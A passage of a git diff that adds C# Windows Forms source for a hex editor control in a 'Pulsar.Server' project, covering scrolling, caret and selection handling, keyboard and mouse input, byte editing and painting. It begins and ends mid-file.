[DefaultValue(false), Category("Hex"), Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get { return _isVScrollVisible; } + set + { + if (_isVScrollVisible == value) + return; + + _isVScrollVisible = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + bool _isVScrollVisible = false; + + #endregion + + #endregion + + #region EventHandlers + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + #endregion + + #region Events + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallIncrement: + ScrollLineDown(1); + break; + case ScrollEventType.SmallDecrement: + ScrollLineUp(1); + break; + case ScrollEventType.LargeIncrement: + ScrollLineDown(_vScrollLarge); + break; + case ScrollEventType.LargeDecrement: + ScrollLineUp(_vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (SelectionStartChanged != null) + SelectionStartChanged(this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, e); + } + + #region Overriden + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + UpdateRectanglePositioning(); + Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (_handler != null) + _handler.OnGotFocus(e); + + UpdateRectanglePositioning(); + Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + _dragging = false; + DestroyCaret(); + base.OnLostFocus(e); + } + + #endregion + + #endregion + + #region KeyEvents + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Right: + case Keys.Left: + case Keys.Up: + case Keys.Down: + case Keys.Shift | Keys.Right: + case Keys.Shift | Keys.Left: + case Keys.Shift | Keys.Up: + case Keys.Shift | Keys.Down: + return true; + } + return base.IsInputKey(keyData); + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (_handler != null) + _handler.OnKeyPress(e); + + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.PageDown) + { + if (!_isVScrollHidden) + { + ScrollLineDown(_vScrollLarge); + Invalidate(); + } + } + else if (e.KeyCode == Keys.PageUp) + { + if (!_isVScrollHidden) + { + ScrollLineUp(_vScrollLarge); + Invalidate(); + } + } + else + { + if (_handler != null) + _handler.OnKeyDown(e); + } + + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (_handler != null) + _handler.OnKeyUp(e); + + base.OnKeyUp(e); + } + + #endregion + + #region MouseEvents + + //Indicates if the mouse is currently being dragged or not + private bool _dragging; + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDown(e); + + if (e.Button == MouseButtons.Left) + { + _dragging = true; + Invalidate(); + } + } + else + { + this.Focus(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused) + { + if (_dragging) + { + if (_handler != null) + _handler.OnMouseDragged(e); + + Invalidate(); + } + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + _dragging = false; + + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseUp(e); + } + + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDoubleClick(e); + } + + base.OnMouseDoubleClick(e); + } + + #endregion + + #region Caret + + #region Properties + + public int CaretPosX + { + get + { + lock (_caretLock) + { + return _caret.Location.X; + } + } + } + + public int CaretPosY + { + get + { + lock (_caretLock) + { + return _caret.Location.Y; + } + } + } + + public int SelectionStart + { + get + { + lock (_caretLock) + { + return _caret.SelectionStart; + } + } + } + + public int SelectionLength + { + get + { + lock (_caretLock) + { + return _caret.SelectionLength; + } + } + } + + public int CaretIndex + { + get + { + lock (_caretLock) + { + return _caret.CurrentIndex; + } + } + } + + public bool CaretFocused + { + get + { + lock (_caretLock) + { + return _caret.Focused; + } + } + } + + #endregion + + #region Methods + + public void SetCaretStart(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetStartIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetEndIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (_caretLock) + { + return _caret.IsSelected(byteIndex); + } + } + + public void DestroyCaret() + { + lock (_caretLock) + { + _caret.Destroy(); + } + } + + #endregion + + #endregion + + #region HexTable + + #region Properties + + public int HexTableLength + { + get + { + lock (_hexTableLock) + { + return _hexTable.Length; + } + } + } + + #endregion + + #region Methods + + public void RemoveSelectedBytes() + { + int index = SelectionStart; + int length = SelectionLength; + if (length > 0) + { + lock (_hexTableLock) + { + _hexTable.RemoveRange(index, length); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + } + + public void RemoveByteAt(int index) + { + lock (_hexTableLock) + { + _hexTable.RemoveAt(index); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (_hexTableLock) + { + _hexTable.Add(item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.Insert(index, item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetCharAt(index); + } + } + + public byte GetByte(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetAt(index); + } + } + + public void SetByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.SetAt(index, item); + } + + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + #endregion + + #endregion + + #region Scrollbar + + public void ScrollLineUp(int lines) + { + if (_firstByte > 0) + { + lines = lines > _vScrollPos ? _vScrollPos : lines; + //Scroll up + _vScrollPos -= _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y += _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + } + } + } + } + + public void ScrollLineDown(int lines) + { + if (_vScrollPos <= _vScrollMax - _vScrollLarge) + { + lines = (lines + _vScrollPos) > (_vScrollMax - _vScrollLarge) ? (_vScrollMax - _vScrollLarge) - _vScrollPos + 1 : lines; + //Scroll up + _vScrollPos += _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y -= _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + if (caretLocation.Y < _recContent.Y) + _caret.Hide(this.Handle); + } + } + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + + if (lines < 0) + { + ScrollLineUp((-1) * lines); + } + else + { + ScrollLineDown(lines); + } + } + + /// + /// Performs a scroll to the given caretIndex + /// + /// The caret index to scroll to + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + //Need to scroll up until caret is visible + _vScrollPos -= Math.Abs((position.Y - _recContent.Y) / _recLineCount.Height) * _vScrollSmall; + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = _recContent.Y; + } + } + else if (position.Y > _maxVisibleBytesV * _recLineCount.Height) + { + //Need to scroll down until caret is visible + _vScrollPos += ((position.Y) / _recLineCount.Height - (_maxVisibleBytesV - 1)) * _vScrollSmall; + + if (_vScrollPos > (_vScrollMax - (_vScrollLarge - 1))) + _vScrollPos = (_vScrollMax - (_vScrollLarge - 1)); + + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = (_maxVisibleBytesV - 1) * _recLineCount.Height + _recContent.Y; + } + } + return position; + } + + #endregion + + #region Update Actions + + private void UpdateRectanglePositioning() + { + if (ClientRectangle.Width == 0) + return; + + //Start by calculating the size of a char + SizeF charSize; + using (var graphics = this.CreateGraphics()) + { + charSize = graphics.MeasureString("D", Font, 100, _stringFormat); + } + CharSize = new SizeF((float)Math.Ceiling(charSize.Width), (float)Math.Ceiling(charSize.Height)); + + //Set the main content bounds (remove margins) + _recContent = ClientRectangle; + _recContent.X += Margin.Left; + _recContent.Y += Margin.Top; + _recContent.Width -= Margin.Right; + _recContent.Height -= Margin.Bottom; + + //Check if the border is active and decrease the bounds + if (BorderStyle == BorderStyle.Fixed3D) + { + _recContent.X += 2; + _recContent.Y += 2; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + _recContent.X += 1; + _recContent.Y += 1; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + + //Handle if the scrollbar is visible + if (!VScrollBarHidden) + { + _recContent.Width -= _vScrollBarWidth; + _vScrollBar.Left = _recContent.X + _recContent.Width - Margin.Left; + _vScrollBar.Top = _recContent.Y - Margin.Top; + _vScrollBar.Width = _vScrollBarWidth; + _vScrollBar.Height = _recContent.Height; + } + + _recLineCount = new Rectangle(_recContent.X, _recContent.Y, (int)(_charSize.Width * 4), (int)(_charSize.Height) - 2); + + _editView.Update(_recLineCount.X + _recLineCount.Width + _entityMargin / 2, _recContent); + + //Calculate needed maximums for the bytes + _maxBytesH = _bytesPerLine; + _maxBytesV = (int)Math.Ceiling(((float)_recContent.Height / (float)_recLineCount.Height)); + _maxBytes = _maxBytesH * _maxBytesV; + _maxVisibleBytesV = (int)Math.Floor(((float)_recContent.Height / (float)_recLineCount.Height)); + + UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (_hexTable.Length == 0) + { + _firstByte = 0; + _lastByte = 0; + } + else + { + _firstByte = _vScrollPos * _maxBytesH; + _lastByte = (int)Math.Min(HexTableLength, _firstByte + _maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!_isVScrollHidden) + { + _vScrollBar.Minimum = _vScrollMin; + _vScrollBar.Maximum = _vScrollMax; + _vScrollBar.Value = _vScrollPos; + + _vScrollBar.SmallChange = _vScrollSmall; + _vScrollBar.LargeChange = _vScrollLarge; + + _vScrollBar.Visible = true; + } + else + { + _vScrollBar.Visible = false; + } + } + + private void UpdateScrollBarSize() + { + if (VScrollBarVisisble && _maxVisibleBytesV > 0 && _maxBytesH > 0) + { + //Holds the size of a page (number of rows per page) + int largeScroll = _maxVisibleBytesV; + //Holds the row size (1) + int smallScroll = 1; + //Holds the minimum value of the scrollbar + int minScroll = 0; + //Holds the maximum value of the scrollbar + int maxScroll = HexTableLength / _maxBytesH; + //Holds the current positon on the scrollbar + int posScroll = _firstByte / _maxBytesH; + + if (largeScroll != _vScrollLarge || smallScroll != _vScrollSmall) + { + _vScrollLarge = largeScroll; + _vScrollSmall = smallScroll; + } + + if (maxScroll >= largeScroll) + { + if (maxScroll != _vScrollMax || posScroll != _vScrollPos) + { + _vScrollMin = minScroll; + _vScrollMax = maxScroll; + _vScrollPos = posScroll; + } + + VScrollBarHidden = false; + + UpdateScrollValues(); + } + else + { + VScrollBarHidden = true; + } + } + else + { + VScrollBarHidden = true; + } + } + + #endregion + + #region Constructor + + public HexEditor() + : this(new ByteCollection()) + { } + + public HexEditor(ByteCollection collection) + { + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + + //Set the provided byte collection + _hexTable = collection; + + //Set the vertical scrollbar + _vScrollBar = new VScrollBar(); + _vScrollBar.Scroll += new ScrollEventHandler(OnVScrollBarScroll); + + //Redraw whenever the control is resized + SetStyle(ControlStyles.ResizeRedraw, true); + + //Enable double buffering + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + + //Enable selectable + SetStyle(ControlStyles.Selectable, true); + + //Handle initialization of Caret + _caret = new Caret(this); + _caret.SelectionStartChanged += new EventHandler(CaretSelectionStartChanged); + _caret.SelectionLengthChanged += new EventHandler(CaretSelectionLengthChanged); + + //Create the needed edit view + _editView = new EditView(this); + _handler = _editView; + + //Set defualt cursor + this.Cursor = Cursors.IBeam; + } + + #endregion + + #region Boundary Calculator + + private RectangleF GetLineCountBound(int index) + { + RectangleF ret = new RectangleF( + _recLineCount.X, + _recLineCount.Y + (_recLineCount.Height * index), + _recLineCount.Width, + _recLineCount.Height + ); + + return ret; + } + + #endregion + + #region OnPaint - Functions + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + if (BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder3D(pevent.Graphics, ClientRectangle, Border3DStyle.Sunken); + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder(pevent.Graphics, ClientRectangle, BorderColor, ButtonBorderStyle.Solid); + } + else + { + base.OnPaintBackground(pevent); + } + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + Region r = new Region(ClientRectangle); + r.Exclude(_recContent); + e.Graphics.ExcludeClip(r); + + UpdateVisibleByteIndex(); + + PaintLineCount(e.Graphics, _firstByte, _lastByte); + + _editView.Paint(e.Graphics, _firstByte, _lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush brush = new SolidBrush(ForeColor); + + for (int i = 0; ((i * _maxBytesH) + startIndex) <= lastIndex; i++) + { + RectangleF drawSurface = GetLineCountBound(i); + string lineCount = (startIndex + (i * _maxBytesH)).ToString(_lineCountCaps); + //Calculate how many '0' need to be added to the current count + int zeros = _nrCharsLineCount - lineCount.Length; + + string lineStr; + if (zeros > -1) + { + lineStr = new string('0', zeros) + lineCount; + } + else + { + lineStr = new string('~', _nrCharsLineCount); + } + g.DrawString(lineStr, Font, brush, drawSurface, _stringFormat); + } + } + + #endregion + + #region OnRezie + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + + UpdateRectanglePositioning(); + Invalidate(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs b/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs new file mode 100644 index 0000000..b46f0ad --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs @@ -0,0 +1,442 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class HexViewHandler + { + #region Fields + + bool _isEditing; + + /// + /// Contains info about how to + /// present the hex values + /// (Upper or Lower case) + /// + string _hexType = "X2"; + + /// + /// Contains the boundary for one single + /// hexa value that is visible + /// + Rectangle _recHexValue; + + /// + /// Contains the format of the hexadecimal + /// strings that are presented + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); } + } + + #endregion + + #region Constructor + + public HexViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region Method + + #region KeyMouseEvents + + #region KeyEvents + + public void OnKeyPress(KeyPressEventArgs e) + { + if (IsHex(e.KeyChar)) + HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + if (_isEditing) + { + //Remove the byte that is being edited + index = _editor.CaretIndex; + } + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + _isEditing = false; + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point position = GetCaretLocation(index); + + if (isShiftDown) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + + #endregion + + #region MouseEvent + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + _isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #endregion + + #region PaintMethod + + public void Update(int startPositionX, Rectangle area) + { + _recHexValue = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * 3), + (int)(_editor.CharSize.Height) - 2 + ); + + _recHexValue.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat); + } + + #endregion + + public void SetLowerCase() + { + _hexType = "x2"; + } + + public void SetUpperCase() + { + _hexType = "X2"; + } + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + //Perform overwrite + HandleUserRemove(); + + if (_isEditing) + { + //Editing has already started, should change the second nibble + _isEditing = false; + //Load old bytes to allow change + byte oldByte = _editor.GetByte(_editor.CaretIndex); + //Append the new nibble + oldByte += Convert.ToByte(key.ToString(), 16); + _editor.SetByte(_editor.CaretIndex, oldByte); + //Relocate the caret + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + + } + else + { + //Begin new edit phase + _isEditing = true; + string hexByte = key.ToString() + "0"; + byte newByte = Convert.ToByte(hexByte, 16); + + if (_editor.HexTable.Length <= 0) + { + _editor.AppendByte(newByte); + } + else + { + _editor.InsertByte(_editor.CaretIndex, newByte); + } + + //Relocate the caret to the middle of the hex value (provide illusion of editing the second value) + int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + _editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos)); + } + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recHexValue.X + (point.X * _recHexValue.Width), + _recHexValue.Y + (point.Y * _recHexValue.Height), + _recHexValue.Width, + _recHexValue.Height + ); + + return ret; + } + + private bool IsHex(char c) + { + return (c >= 'a' && c <= 'f') || + (c >= 'A' && c <= 'F') || + Char.IsDigit(c); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs new file mode 100644 index 0000000..982c0aa --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,24 @@ +using System; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public interface IKeyMouseEventHandler + { + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); + } +} diff --git a/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs b/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs new file mode 100644 index 0000000..3896cad --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs @@ -0,0 +1,382 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class StringViewHandler + { + #region Field + + /// + /// Contains the boundary of + /// a single line + /// + Rectangle _recStringView; + + /// + /// Contains the format of the + /// string to be used in the + /// string view + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recStringView.X + _recStringView.Width; } + } + + #endregion + + #region Constructor + + public StringViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region KeyMouseEvents + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!Char.IsControl(e.KeyChar)) + { + HandleUserInput(e.KeyChar); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height); + + if (e.Shift) + 